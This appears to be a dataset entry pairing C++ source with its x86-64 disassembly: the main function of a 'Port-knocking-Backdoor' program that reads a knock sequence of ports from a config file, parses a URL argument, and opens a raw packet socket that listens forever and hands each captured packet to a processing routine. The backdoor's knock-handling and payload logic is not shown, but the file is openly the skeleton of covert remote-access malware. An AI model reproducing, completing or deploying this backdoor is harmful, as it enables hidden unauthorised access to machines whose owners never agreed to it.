// File: sharmin-lalani[P]Port-knocking-Backdoor/backdoor.cpp
// Function: main
int main(int argv, char** argc) {

	FILE *config_file; 
	int sock_raw, packet_size;
	__u16 port_num;
	char *url;
         
    	unsigned char *buffer = (unsigned char *) malloc(65536); //Its Big!
     
	// parse the config file   	
	config_file = fopen(argc[1],"r");
    	if(config_file == NULL) {
        	printf("Unable to open config file.\n");
		return -1;
    	}

	while (fscanf(config_file, "%hu", &port_num) == 1) {
		//printf("%d\n", port_num);
		port_knocking_seq.push_back(port_num);
	}
	fclose(config_file);

	// parse the URL
	url = argc[2];

	if (sscanf(url, "http://%99[^:]:%i/%199[^\n]", urlHost, &urlPort, urlPage) == 3);
		else if (sscanf(url, "http://%99[^/]/%199[^\n]", urlHost, urlPage) == 2);
			else if (sscanf(url, "http://%99[^:]:%i[^\n]", urlHost, &urlPort) == 2);
				else sscanf(url, "http://%99[^\n]", urlHost);
     
    	//printf("host:%s port:%u page:%s\n", urlHost, urlPort, urlPage);

	/*
	We Need to use raw sockets for this program. 
	Stream sockets and data gram sockets receive data from the transport layer that contains no headers but only the payload. 
	This means that there is no information about the source IP address and port numbers. 
	If applications running on the same machine or on different machines are communicating, then they are only exchanging data.
	A raw socket allows an application to directly access lower level protocols, which means a raw socket receives un-extracted packets. 
	There is no need to provide the port and IP address to a raw socket.
	*/

	sock_raw=socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	//sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
	if(sock_raw < 0) {
		printf("error in socket\n");
		return -1;
	}

	while(1) {
        	//Receive a packet
        	packet_size = recvfrom(sock_raw , buffer , 65536 , 0 , NULL, 0);
        	if(packet_size < 0 ) {
            		printf("Recvfrom error , failed to get packets\n");
            		return -1;
        	}
        
        	//Now process the packet
        	ProcessPacket(buffer, packet_size);

	}
	close(sock_raw);	
	return 0;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
subq $0x40, %rsp
movl $0x0, -0x4(%rbp)
movl %edi, -0x8(%rbp)
movq %rsi, -0x10(%rbp)
movl $0x10000, %edi          # imm = 0x10000
callq 0x21f0
movq %rax, -0x38(%rbp)
movq -0x10(%rbp), %rax
movq 0x8(%rax), %rdi
leaq 0x2bf1(%rip), %rsi      # 0x5004
callq 0x21e0
movq %rax, -0x18(%rbp)
cmpq $0x0, -0x18(%rbp)
jne 0x243d
leaq 0x2bdc(%rip), %rdi      # 0x5006
movb $0x0, %al
callq 0x2030
movl $0xffffffff, -0x4(%rbp) # imm = 0xFFFFFFFF
jmp 0x25a1
jmp 0x243f
movq -0x18(%rbp), %rdi
leaq 0x2bd9(%rip), %rsi      # 0x5023
leaq -0x22(%rbp), %rdx
movb $0x0, %al
callq 0x2250
cmpl $0x1, %eax
jne 0x246c
leaq 0x5d0f(%rip), %rdi      # 0x8170
leaq -0x22(%rbp), %rsi
callq 0x2a90
jmp 0x243f
movq -0x18(%rbp), %rdi
callq 0x2190
movq -0x10(%rbp), %rax
movq 0x10(%rax), %rax
movq %rax, -0x30(%rbp)
movq -0x30(%rbp), %rdi
leaq 0x2b9b(%rip), %rsi      # 0x5027
leaq 0x5d2d(%rip), %rdx      # 0x81c0
leaq 0x5cae(%rip), %rcx      # 0x8148
leaq 0x5f1f(%rip), %r8       # 0x83c0
movb $0x0, %al
callq 0x2180
cmpl $0x3, %eax
jne 0x24af
jmp 0x251a
movq -0x30(%rbp), %rdi
leaq 0x2b88(%rip), %rsi      # 0x5042
leaq 0x5cff(%rip), %rdx      # 0x81c0
leaq 0x5ef8(%rip), %rcx      # 0x83c0
movb $0x0, %al
callq 0x2180
cmpl $0x2, %eax
jne 0x24d6
jmp 0x2518
movq -0x30(%rbp), %rdi
leaq 0x2b79(%rip), %rsi      # 0x505a
leaq 0x5cd8(%rip), %rdx      # 0x81c0
leaq 0x5c59(%rip), %rcx      # 0x8148
movb $0x0, %al
callq 0x2180
cmpl $0x2, %eax
jne 0x24fd
jmp 0x2516
movq -0x30(%rbp), %rdi
leaq 0x2b68(%rip), %rsi      # 0x5070
leaq 0x5cb1(%rip), %rdx      # 0x81c0
movb $0x0, %al
callq 0x2180
jmp 0x2518
jmp 0x251a
movl $0x800, %edi            # imm = 0x800
callq 0x2040
movzwl %ax, %edx
movl $0x11, %edi
movl $0x3, %esi
callq 0x2080
movl %eax, -0x1c(%rbp)
cmpl $0x0, -0x1c(%rbp)
jge 0x2556
leaq 0x2b39(%rip), %rdi      # 0x507f
movb $0x0, %al
callq 0x2030
movl $0xffffffff, -0x4(%rbp) # imm = 0xFFFFFFFF
jmp 0x25a1
jmp 0x2558
movl -0x1c(%rbp), %edi
movq -0x38(%rbp), %rsi
movl $0x10000, %edx          # imm = 0x10000
xorl %ecx, %ecx
xorl %eax, %eax
movl %eax, %r9d
movq %r9, %r8
callq 0x2120
movl %eax, -0x20(%rbp)
cmpl $0x0, -0x20(%rbp)
jge 0x2593
leaq 0x2b0d(%rip), %rdi      # 0x5090
movb $0x0, %al
callq 0x2030
movl $0xffffffff, -0x4(%rbp) # imm = 0xFFFFFFFF
jmp 0x25a1
movq -0x38(%rbp), %rdi
movl -0x20(%rbp), %esi
callq 0x25b0
jmp 0x2558
movl -0x4(%rbp), %eax
addq $0x40, %rsp
popq %rbp
retq
nopw (%rax,%rax)